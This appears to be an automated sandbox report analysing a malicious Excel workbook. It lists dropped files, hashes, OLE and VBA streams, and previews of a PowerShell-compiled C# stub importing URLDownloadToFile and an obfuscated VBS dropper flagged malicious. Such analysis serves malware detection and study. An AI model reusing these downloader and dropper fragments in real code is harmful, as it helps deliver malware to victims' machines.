Preview:	L....N[g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\sajgx3ks\CSC55704BF691DD479D8D12F35E2CEB2B9C.TMP...................}..[YZ.Q.............4.......C:\Users\user\AppData\Local\Temp\RES5216.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.a.j.g.x.3.k.s...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\WER3EA6.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\DWWIN.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3106
Entropy (8bit):	3.674750434189986
Encrypted:	false
SSDEEP:	48:yeRipPp6uhzrkG/wU6Gww7VxpAFgYkbkiQG5KhwSgHPTS40P9SN+S1BiKPwEgxFP:Shz4tU6o7VxBt3uhPgHPe40PAnF3Zo3
MD5:	ED53A1EE4406FD4F0ED300648C60DBEB
SHA1:	FA97ED6B4892726A94B4C771172B486A06C255FD
SHA-256:	A34E27A20144897A2B32DDA336851DB75A7D9B2780ECBD4205BBAEC88F978620
SHA-512:	418A802C833374EAF245F9B37E11E7BEEBFAB0CEA605704786C0F2C4DB11A5EA3A9ACB8377945524C506F03C50E686679287EA6790194A480BAF0C0A4DD99FB2
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.6...1.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.7.6.0.1. .S.e.r.v.i.c.e. .P.a.c.k. .1.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .7. .P.r.o.f.e.s.s.i.o.n.a.l.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.7.6.0.1...2.3.6.7.7...a.m.d.6.4.f.r.e...w.i.n.7.s.p.1._.l.d.r...1.7.0.2.0.9.-.0.6.0.0.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.3.0.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.a.r.e.n.t.P.r.o.c.e.s.s.I.

C:\Users\user\AppData\Local\Temp\dmeqisej.gmc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\jfosio5u.jlg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\p51ozrb0.j1f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\sajgx3ks\CSC55704BF691DD479D8D12F35E2CEB2B9C.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1097259917214233
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryArak7YnqqDEPN5Dlq5J:+RI+ycuZhNEakSgPNnqX
MD5:	D52E9EE27D981D5B595AC2510DCBAF84
SHA1:	9FE09FD62906265BE2342A9D82158AFBD4F61FB3
SHA-256:	4AC1CDFC35E72499B32025F52DCBAAD0B8CA8EE0FEBB2BCAACA84081DB1D16B0
SHA-512:	7DD5D0FE403E49359C3119CFF4CDC992AD24CC544B49309CD60F7DF06714F9719264186BA778B8EF016EA2363411271951D6D85C76F9E32DB3B2055BF2C07B72
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.a.j.g.x.3.k.s...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...s.a.j.g.x.3.k.s...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (368)
Category:	dropped
Size (bytes):	484
Entropy (8bit):	3.733383204515497
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuIDIDa0GWmMmbjQXReKJ8SRHy4H3QMCQUWXr9M35OKy:V/DTLDfuDxXfHcEXxMJOKy
MD5:	48060B02D61C7C41DB2A78DD5BA30307
SHA1:	7064E1187A73995E4B916AC3D594014D9938A13D
SHA-256:	12C2558DDDDB21359A0A88E1E7BDD1B2C28CB56435C4F9D9796161A2F60B7BE7
SHA-512:	E522F64E687F3BA212703D2B8B5E0320E806359EB16A4FA21D08D5E27E858C82A88AABD01B82A816B96378C15013371451366E1A586E13A132DC7D0D2A86F46C
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace abfKSsSAD.{. public class ibF. {. [DllImport("UrLMoN.Dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr oqipTyfEW,string BGlUUEsI,string S,uint itTUxtzs,IntPtr PMl);.. }..}.

C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.264327462065532
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23flSzxs7+AEszIP23flX:p37Lvkmb6KzNSWZEoNX
MD5:	021DE0875F1821BFBE8A15CAA34BD5FE
SHA1:	BABEDD9C0E3958B76EE1CF3E02A1E92372EBD418
SHA-256:	726D8F5412A2C8269D917B8214F3B6D80D460983DC87671CBB2CE378D2AB27C2
SHA-512:	96D1BD7F8795AEF9FC35512EDFAFA1D9BAF99718292E541E55F55064136F29F2AA6AD0433F92D33873DE238C5EA1054D8B21DB65E08AAEEFE62EAFC85972F6BD
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.0.cs"

C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.828136187069058
Encrypted:	false
SSDEEP:	24:etGSlPBe5ekrl8KLkZylYb8KZMtkZfGeCbCZ0WI+ycuZhNEakSgPNnq:6eskr+KxO8KdJGeCbCZX1ulEa34q
MD5:	8604F7D8AC580436ABFDAD4EE61406E7
SHA1:	C044E8AC14D5D89AFBB587225FCFCD4673262518
SHA-256:	9B9C41F91E672D1D7B88F5A6C3EBE6EBD98321280E06CFE38B7EA0B9C9EEDE7B
SHA-512:	71E09D2B4A0D2BAD1098FAD125850624C18D62CEF1A907FC13D41BD1D32E53EFA09388B7DF0B79076A9127F1E2E0C5145E5EBC9A752395E96A4356E1817700EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....N[g...........!.................#... ...@....... ....................................@.................................\#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................5.......v.....v.......................................... <.....P ......N.........T.....^.....g.....i.....r...N.....N...!.N.....N.......!............<.......................................%..........<Module>.sa

C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.346073113436084
Encrypted:	false
SSDEEP:	24:AId3ka6KzNEo8KaMD5DqBVKVrdFAMBJTH:Akka60NEo8KdDcVKdBJj
MD5:	CB77F0F2036B4F2C827C1F4E44F1DF74
SHA1:	50E9984CA4253EC656080461C161815E164CF0D9
SHA-256:	2250BFA83BF58B47F2495D1C1A2673218F7FECAC4F61C0A7240EF5C945137987
SHA-512:	B9EBE7D7F22DE03CF31C3772FD4EA76EAD7D958D7CCA3C6BBCD3D2E525E4BB3393B48103DBFCFB77967E813D48FBB120647718E22422BD5BE5C02AB0BAD4B83A
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\vw1b4huu.p5k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\wo2x43yw.xq5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF04B4D643794D5F54.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Dec 12 06:12:44 2024, Security: 1
Category:	dropped
Size (bytes):	1058816
Entropy (8bit):	7.753690424682648
Encrypted:	false
SSDEEP:	12288:u8BmzHJEUiOIBUzMTSAD3DERnLRmF8DXEPaxpsAQx1Zj+jCEPvbsZM1+cXO1qzaS:kBa1bARM8aU8Z+jda3lYzaFzF
MD5:	0EA679926638E9E6F8F15BD2A19000C7
SHA1:	F9165583451BC0CCCA706AAEB068013ED88FC3E2
SHA-256:	051022C469EB3CC0DFD7D8479D74BDB00865F19711D0E591C827EEDB28EF58F0
SHA-512:	57B145AF226C884A49062FE45F17BC56B394347F87355EF164EEBA1F6E561D6C909D11726D2E16AF4900E56E770C4ED0C388A13820325975D8A7C293BDE9952F
Malicious:	false
Preview:	......................>........................................................... ...!..."...O...P...Q..............._.......\|.......~.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\.......N...................$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DF44B1BF751A9B24AD.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF6C38963B64DA5C0D.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC8B77349F9BC0277.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (3221), with CRLF line terminators
Category:	dropped
Size (bytes):	153904
Entropy (8bit):	3.7916333313217825
Encrypted:	false
SSDEEP:	3072:gyGYXHM6cErfuTpT7BgyGYXHM6cErfuTpT1gyGYXHM6cErfuTpT7:7GErSN7B7GErSN17GErSN7
MD5:	716D2EDD830102BBBAD2CB0A1A0259F1
SHA1:	720D2DB1E6C8162F89376D06F149237AD8269297
SHA-256:	5A110B1E0B3424A297618863FFA88A2DE1F09C266687F93DA8E3D7C6DAB48341
SHA-512:	EDC3624E8071E058981BF47598B654321846A4538D4F64826457108431584021CA901C16278AB74775EF64A377387427A03CD4592B711F624C463BCDB53986CA
Malicious:	true
Preview:	...... . . . .....W.O.i.K.t.G.C.e.K.u.h.I.k.i.A. .=. .".d.R.q.n.d.r.W.o.a.W.i.W.K.z.O.".....P.x.k.m.h.A.s.B.t.K.W.K.I.L.h. .=. .".L.k.h.e.I.Q.U.W.W.A.e.Q.z.U.K.".....c.A.O.k.K.j.x.m.L.K.m.k.G.c.T. .=. .".e.Z.G.K.U.m.G.q.U.C.i.G.K.a.i.".........i.K.G.b.j.f.S.p.Z.L.W.J.j.p.m. .=. .".G.c.a.W.K.u.b.g.g.n.G.L.C.P.p.".....O.s.f.L.i.i.W.I.L.u.K.c.n.k.S. .=. .".U.A.c.p.i.d.i.k.K.J.W.h.h.W.m.".....e.f.K.q.p.i.L.f.h.K.L.A.h.c.P. .=. .".m.z.W.U.h.W.Z.z.o.t.p.B.O.W.K.".....e.I.f.e.q.o.L.B.N.Z.K.N.b.d.G. .=. .".J.P.W.a.G.q.C.A.G.N.H.h.p.Z.k.".....k.A.x.g.n.b.i.L.n.z.G.R.c.v.S. .=. .".o.B.W.C.Z.N.u.G.h.p.z.c.f.H.c.".....G.k.U.z.b.L.B.f.Q.z.N.p.f.L.L. .=. .".b.O.i.N.p.L.U.A.h.u.K.f.G.b.c.".....W.p.e.e.i.j.J.i.N.L.C.a.k.a.G. .=. .".W.q.L.p.U.P.a.i.W.K.j.W.d.N.i.".....U.a.K.r.K.W.i.p.O.Z.x.o.o.B.s. .=. .".z.W.A.c.L.U.r.m.z.I.L.e.m.O.U.".....G.k.P.N.G.f.z.z.a.i.t.O.i.L.n. .=. .".q.r.L.A.k.W.U.b.L.g.b.a.i.L.G.".....A.B.j.T.f.j.C.P.W.l.h.u.s.a.U. .=. .".W.L.P.b.U.h.K.K.i.N.S.L.A.U.H.".....m.G.e.K.f.d.t.d.

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Dec 12 06:12:44 2024, Security: 1
Entropy (8bit):	7.753748657327232
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	Cot90012ARCACONTAL.xls
File size:	1'058'816 bytes
MD5:	9e57f8d11355afc490feb9cb415165d3
SHA1:	f63ad72689cdabc1aa7629a1170debb01f40c207
SHA256:	60e0542a30b9379d93ab606396a96476b7d7f40a0b870fa648911eb66bed1348
SHA512:	ac55420d054d022ffe6dc8a7e0763e908cf123705e672ffc9ffa740fa8c474a2620e365b19946f07d1d02d926440f6630da6d574122f3e8f6e1bc3158a7935ba
SSDEEP:	12288:/8fmzHJEUiOIBUzMTS1D3DERnLRmF8DXEPzxpsAQx1Zj+j0EPSbsZM1+cXO1qzaS:LBawbARM8aj8Z+jLp3lYzaFzF
TLSH:	383501E1B78DAB51CA0A523571F3536E1710AC13E902567737F873282AF76D08A07F9A
File Content Preview:	........................>........................................................... ...!..."...O...P...Q..............._.......\|.......~......................................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Cot90012ARCACONTAL.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-12-12 06:12:44
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ` ! . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 60 98 21 8f 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ` 3 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 60 98 fe 33 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	MBD005CAF36/MBD007203CB/_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ` . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 60 98 0b bc 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

